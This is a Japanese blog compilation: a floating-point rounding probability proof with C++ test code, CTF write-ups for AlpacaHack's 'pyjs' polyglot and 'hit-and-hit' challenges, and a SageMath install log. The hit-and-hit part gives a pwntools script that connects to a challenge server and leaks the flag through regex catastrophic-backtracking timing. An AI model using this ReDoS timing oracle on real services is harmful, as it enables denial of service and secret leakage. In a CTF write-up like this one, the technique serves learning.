$|( (x\oslash y)\otimes y)-x| = 1$ なる通り数は次の通りである。 $$ \begin{aligned} &\phantom{{}={}} \sum_{y=2^{p-1}+1}^{2^p-1} {-y + 3\cdot 2^{p-1} - 2^{2p-1}/y + O(1)} \\ &= -\tfrac12(2^{p-1}-1)(2^p+2^{p-1}) + 3\cdot 2^{p-1}\cdot (2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-1}\cdot (-\tfrac12(2^{p-1}-1) + (2^{p-1}-1) ) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-1}\cdot \tfrac12(2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-2}\cdot (2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot (2^{2p-3}-2^{p-2}) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{2p-3} - 2^{2p-1}\cdot (\ln(2^p)-\ln(2^{p-1}) ) + O(2^p) \\ &= 3\cdot 2^{2p-3} - 2^{2p-1}\ln(2) + O(2^p) \\ &= 2^{2(p-1)} \cdot \left(\tfrac32-\ln(4)\right) + O(2^p). \end{aligned} $$ これを $2^{2(p-1)}$ で割って、$\tfrac32-\ln(4)+O(2^{-p})$ を得る。これらより、求める確率は $$ 1-\left(\tfrac32-\ln(4)+O(2^{-p})\right) = \ln(4)-\tfrac12+O(2^{-p}) $$ となる。$\qed$

Claim 7: $y$ を固定したときに $(x\oslash y)\otimes y=x$ となりにくいのは $y=2^{p-1/2}$ のときで、確率は $2\sqrt2-2+O(2^{-p}) \approx 0.828427$ である。

Proof

相加相乗平均の関係に注意して、$|( (x\oslash y)\otimes y)-x| = 1$ なる通り数は $$ \begin{aligned} &\phantom{{}={}} \max_y {(-y + 3\cdot 2^{p-1} - 2^{2p-1}/y)} \\ &= 3\cdot 2^{p-1} - \min_y {(y + 2^{2p-1}/y)} \\ &= 3\cdot 2^{p-1} - 2\cdot (2^{2p-1})^{1/2} \\ &= 3\cdot 2^{p-1} - 2^{p+1/2} \\ &= 3\cdot 2^{p-1} - 2\sqrt 2\cdot 2^{p-1} \\ &= (3-2\sqrt 2)\cdot 2^{p-1} \end{aligned} $$ である。上界を達成するのは $y=2^{p-1/2}$ である。$( (x\oslash y)\otimes y)-x = -\tfrac12$ なる確率は $O(2^{-p})$ であるから、求める確率は $$ 1 - ( (3-2\sqrt 2) + O(2^{-p}) ) = 2\sqrt 2-2 + O(2^{-p}) $$ である。$\qed$

実験

f32, f64, f80, f128 のそれぞれについて $10^9$ 回選んだときの $( (x\oslash y)\otimes y)-x$ は次の通りでした。C++ における f32 の promotion の仕様から、明示的に f32 にキャストする必要があり、そこで二重丸めが起きている気がします。一応ここではおそらくは影響しないはず？

型	$-1$	$-\tfrac12$	$0$	$1$
f32	$56859910$	$23$	$886284147$	$56855920$
f64	$56868530$	$0$	$886294349$	$56837121$
f80	$56863534$	$0$	$886292498$	$56843968$
f128	$56845181$	$0$	$886294978$	$56859841$

綺麗に揃った値になっていてうれしいです。

xyy_count.cpp

#include <iomanip>
#include <iostream>
#include <map>
#include <quadmath.h>
#include <random>

template <typename F> F random_1_2(std::mt19937& mt) { return F(); }

template <> float random_1_2(std::mt19937& mt) {
  return (mt() & ~(~0u << 23)) | 1u << 23;
}

template <> double random_1_2(std::mt19937& mt) {
  unsigned long res = mt();
  res <<= 32;
  res |= mt();
  res &= ~(~0uL << 52);
  res |= 1uL << 52;
  return res;
}

template <> long double random_1_2(std::mt19937& mt) {
  unsigned long res = mt();
  res <<= 32;
  res |= mt();
  res |= 1uL << 63;
  return res;
}

template <> __float128 random_1_2(std::mt19937& mt) {
  unsigned __int128 res = mt();
  res <<= 32;
  res |= mt();
  res <<= 32;
  res |= mt();
  res <<= 32;
  res |= mt();
  res &= ~(~(unsigned __int128)0u << 112);
  res |= (unsigned __int128)(1u) << 112;
  return res;
}

template <typename F> void count_f(long n) {
  std::map<F, unsigned long> c;
  std::cerr << std::fixed << std::setprecision(1);
  std::random_device rd;
  std::mt19937 mt(rd());
  for (int i = 0; i < n; ++i) {
    volatile F x = random_1_2<F>(mt);
    volatile F y = random_1_2<F>(mt);
    volatile F z = F(x / y) * y;
    ++c[F(z - x)];
  }
  std::cout << "---\n";
  for (auto [x, y]: c) {
    std::cout << double(x) << '\t' << y << '\n';
  }
}

int main() {
  long const N = 1e9;
  count_f<float>(N);
  count_f<double>(N);
  count_f<long double>(N);
  count_f<__float128>(N);
}

これに基づいて $\ln(4)$ の値を計算するというギャグも可能そうです。精度はお察しです。

あとがき

この手の命題を示すと、「浮動小数点型は自動正確丸め機能つき整数型であるなあ」のような気持ちになります。整数分野に強い人はこの手の話を簡単に示せそうだなという気がします。示してうれしいかは人によりそうです。

今回の記事は AtCoder Weekday Contest 0014 Beta C についての話を Twitter で見ていたときに考え始めました。

(x/y)*z の形の式について、（無限精度での）xz/y が整数になる場合でも浮動小数点型だと誤差が出るケースが多数存在しますね

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年2月27日

そういう反例が多数存在しますというふわふわリプライを送りつけ、「そんなふわふわリプライが許されるのか？」という気持ちで調べていました。 実際、無視するとまずそうな比率で存在していそうということがわかってよかったです。

その問題の解説には (非推奨) Claude 4.5 Opus だとか (非推奨) Qwen3-Coder-480B だとかがあり、非推奨ってなんやねんという気持ちにはなりました。Beta ということもあってまぁそのへんはまぁという感じなのかもしれません。

速度を求めるにあたって v = x/y とし、その後で時間を掛けて距離 v*t を求めるようなコードを書くと、今回の記事の形の式になります。 なので、多少の個数の y == t のランダムケースを用意すれば、そのような解法を落とせそうだなぁという感じがします。

仮数部の桁数を上げても解決しない具体的な例を具体的な確率つきで示すことができて、うれしいなという気持ちです。 好きな数を聞かれたら $\ln(4)-\tfrac12$ と答えるようになってしまうかもしれません。

浮動小数点型びっくり命題シリーズとしては下記もありますが、今回のもお気に入りになりそうです。

rsk0315.hatenablog.com

AtCoder Weekday Contest 0014 Beta B の解説 も浮動小数点型を用いており、こちらの正当性は下記から従う気がします。

rsk0315.hatenablog.com

おわり

おわりです。

Writeup for pyjs, Daily AlpacaHack 2026/2/28

Daily AlpacaHack 2026/2/28 の write-up です。

alpacahack.com

やったこと

えびちゃんは Polyglot が好きなのでうれしくなりました。

1 行しか受け取ってくれないので、1 行でやる方針を考えます（\r を使おうというのが過去にも出題されていますが忘れがち、少し反省）。

"""...""" などの連結の仕方が狙えるかと思ったものの JS だとうまくいってくれないようなので捨てました。 // を使う方針も浮かびはしましたが、面倒そうな気がしたので深追いしませんでした。

そういえば JS って NaN っていうのがあったよなと思って、NaN に代入したときどうなるんだっけというのを試しました。

> NaN = 0
0
> NaN
NaN
> NaN == NaN
false

Python だと下記のようになります。

>>> NaN = 0
>>> NaN
0
>>> NaN == NaN
True

あとはこれを使って適当にやればよさそうです。 両方の言語で共通して使えるリテラル・関数・メソッドがあれば楽に済ませられそうなので探します。

eval と [x, y][k] を使えばよさそうです。JS だと Boolean をそのまま添字に使えなさそうなので適当に変換します。

solve.txt

NaN=0; eval(['console.log("I LOVE SECCON")', 'print("I LOVE ALPACA")'][+(NaN==NaN)])

これができるのであれば、JS と Python で真偽・0/1 が変わる式クイズに帰着できるので、次のようなものも使えます。

• 1+2**53-2**53
• "aa".replace("a", "b") == "ba"
• (2**53+1)/3 == 3002399751580331

Wow... Alpaca{fluent in two languages} 👏

９つのＣ言語を操りたいです。最近の人に通じるのでしょうかこれ（？）。

あとがき

A-SIDE 3 ヶ月分と B-SIDE 1 ヶ月分を走り切って満足です。

おわり

おわりです。

Writeup for hit-and-hit, Daily AlpacaHack 2026/2/24

Daily AlpacaHack 2026/2/24 の write-up です。

alpacahack.com

やったこと

まず ReDoS の概念自体は知っていたのと、Python の re で指数時間になるケースが存在することも知っていたので、とりあえずそれについて考えました。

なんかたぶんこんな感じだっただろと思いながら適当にやっていたときの履歴です（うまくいっていない）。もうちょっと頭を使った方がいいですよ笑

長い

>>> import re
>>> re.match('A', 'A')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+', 'A')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+', 'AB')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?', 'AB')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?p', 'Al')
>>> re.match('((A+)+)?p', 'Al')
>>> re.match('((A|A)+)?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)l', 'Al')
<re.Match object; span=(0, 2), match='Al'>
>>> re.match('((A|A)+)m', 'Al')
>>> re.match('((A|A)+)+m', 'Al')
>>> re.match('((A|A)+)+m', 'Al')
>>> re.match('(((A|A)+)+)+m', 'Al')
>>> re.match('((((A|A)+)+)+)+m', 'Al')
>>> re.match('(((((A|A)+)+)+)+)+m', 'Al')
>>> re.match('((((((A|A)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((A|A)+)+)+)+)+)+)+m', 'Al')
>>> re.match('((((((((A|A)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((A|A)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('((((((((((A|A)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((A|A)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((A|A|A)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|BB|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)*)*)*)*)*)*)*)*)*)*)*l', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)*)*)*)*)*)*)*)*)*)*)*p', 'Al')

顕著な差があったときの入力は次の通りです。

>>> re.match('(((((((((((A|A|A|A|A)*)*)*)*)*)*)*)*)*)*)*l', 'Al')
<re.Match object; span=(0, 2), match='Al'>
>>> re.match('(((((((((((A|A|A|A|A)*)*)*)*)*)*)*)*)*)*)*p', 'Al')

あとは底（A|A|A の長さ）と指数（((()*)*)*)* の深さ）を調整して、適度な時間がかかるようにします。 判定器ができたので二分探索して終わりです。

solve.py

import time

from pwn import *

p = remote("34.170.146.252", 22289)


def test(r):
    p.sendlineafter(b"regex> ", r.encode())
    tic = time.time()
    res = p.recvline().strip()
    toc = time.time()
    print(toc - tic)
    return toc - tic < 1


flag = "A"
while True:
    lo = 0x01
    hi = 0x80
    while hi - lo > 1:
        mid = lo + (hi - lo) // 2
        cur = f"(((((((((({flag}|{flag})*)*)*)*)*)*)*)*)*)*[\\x00-\\x{mid:02X}]"
        if test(cur):
            hi = mid
        else:
            lo = mid

    flag += chr(hi)
    print(flag)

余談ですが、えびちゃんが時間計測用の変数を置くときには tic, toc を使いがちです。大学時代に少しだけ触った MATLAB の影響を受けています。

ループの終了条件を適当にやっているので、終わったなという感じになったら C-c で終わらせます（解ければよいため）。

Alpaca{r3GeX_Pow3rFu1}\x02\x02\x02 👏 ← 終わったなという見た目

所感など

えびちゃんも「なんか side-channel attack っぽいの出したいよな〜」と思っていたのですが、綺麗な設定で出題されてにっこりになりました。 自分の名前で出したいという気持ちが薄くて、自分がよいと思っているものが世に存在していればうれしいという気持ちが常にあります。 競プロや CTF に限らず、ニコニコ動画で自分の思ったコメントが流れてくると満足してしまうとかそういうのもあります。

あとフラグの powerful の部分に「計算量が指数時間になることと冪乗の power がかかってるのか？」と思ってオサレだな〜と思っていたのですが、別に全然そんなことはないかもしれません。

別の日の問題についてのネタバレなので一応伏せ

あ〜問題名の意味にようやく気づいた、これはオサレですね

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年1月8日

SwapSwap の頭文字の SS が ß を示唆してるんだろうという話

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) 2026年1月9日

↑ これは全然勝手に思い込んでいただけらしいです。

他に指数と powerful がかかっているものの例としてはこちらがあります ↓

atcoder.jp

あとえびちゃん的には ( ) | * と連接以外の演算が使われているものを正規表現と呼びたくない宗教に入っているので、lookaround や backref が発想から抜けがちです。 それらを含めた場合の「正規表現に機能を追加した版のやつ」と等価な計算量クラスに関する論文が数年前にあった気もします（結局まだ読めてない気もします）し、その手の機能を使って表される言語が正規言語であることもありますし、難しいな〜みたいな気持ちになったりします。 そこまで毛嫌いしなくていいんじゃない？という感じにはなりつつあります。

xkcd.com

正規表現がこういう状態になってしまったことについては嫌な気持ちがあります。

おわり

おわりです。

【環境構築編】SageMath となかよく【失敗】

doc.sagemath.org

github.com

まずはここから SageMath-10.8_arm64.dmg をダウンロードしてセットアップ。

% sage --help
SageMath version 10.8, Release Date: 2025-12-18

Running Sage:

  file.[sage|py|spyx] -- run given .sage, .py or .spyx file
...
/var/tmp/sage-10.8-current/venv/bin/sage: line 197: /Applications/SageMath-10-8.app/Contents/Frameworks/Sage.framework/Versions/10.8/build/bin/sage-site: No such file or directory

なんか怒ってそう。

% sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 10.8, Release Date: 2025-12-18                    │
│ Using Python 3.13.7. Type "help()" for help.                       │
└────────────────────────────────────────────────────────────────────┘
(!) we are using libedit readline
sage: from Crypto.Util.number import long_to_bytes
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
Cell In[1], line 1
----> 1 from Crypto.Util.number import long_to_bytes

ModuleNotFoundError: No module named 'Crypto'
sage: 

using libedit readline の警告に関しては、SageMath とは関係なく macOS の Python 側で GNU readline を使ってくれずにターミナルがめちゃくちゃにされる問題が以前起きたので自前の ~/.pythonrc.py でチェックしているもの。

できておきたいこと：

• sage から pycryptodome などの基本的な CTF 用のモジュールを使える
  • sage --pip install を使えばよさそう
• emacs で *.sage を編集するときに syntax highlighting と auto-format が効く
  • R.<x> みたいなのが black にはきつい

最低限これだけで一旦えびちゃん的には事足りる。

    if [ -d "$SAGE_ROOT" ]; then
        exec "$SAGE_ROOT/build/bin/sage-site" "-h"
    fi

たぶん SYMLINK=/var/tmp/sage-$VERSION-current (/usr/local/bin/sage) や export SAGE_ROOT="${SAGE_SYMLINK}" で定義されているの経由？

% sage --pip --help

Usage:   
  /var/tmp/sage-10.8-current/local/bin/python3 -m pip <command> [options]
...

% sage --pip install pycryptodome
Collecting pycryptodome
  Using cached pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl.metadata (3.4 kB)
Using cached pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl (2.5 MB)
Installing collected packages: pycryptodome
Successfully installed pycryptodome-3.23.0

github.com

じー。sage/build/README.txt には bin: Various scripts needed at build time. Not installed. と書いてありますが？？

自前でビルドしてみようかな。

% git clone git@github.com:sagemath/sage.git
% cd sage
% EXPORT SAGE_ROOT=~/sage/sage
% make configure
% ./configure
% make

make[4]: *** [numpy-SAGE_VENV-no-deps] Error 1
make[3]: *** [/Users/rsk0315/git/sagemath/sage/local/var/lib/sage/venv-python3.14/var/lib/sage/i
make[2]: *** [all-start] Error 2
***************************************************************
Error building Sage.

The following package(s) may have failed to build (not necessarily
during this run of 'make all-start'):

* package:         numpy-2.3.2
  last build time: Feb 22 16:01
  log file:        /Users/rsk0315/git/sagemath/sage/logs/pkgs/numpy-2.3.2.log

It is safe to delete any log files and build directories, but they
contain information that is helpful for debugging build problems.
WARNING: If you now run 'make' again, the build directory of the
same version of the package will, by default, be deleted. Set the
environment variable SAGE_KEEP_BUILT_SPKGS=yes to prevent this.

real 65m40.114s user 38m56.325s sys 10m16.381s
make[1]: *** [all-start] Error 1
make: *** [all] Error 2

なんかどうでもよくなったので投げ出します。さようなら。

フォーマットをかけたいときだけ R.<x> = ... の行をコメントアウトするみたいなことをして迂回することにします。

環境構築が成功しなかった場合でも「こういうところでうまくいかなくて投げ出した」とかを書いておくと、後々「あ〜」となれるかなと思って残しておきます。 最低限のインストールはできましたが、なかよくはできなかったので失敗です。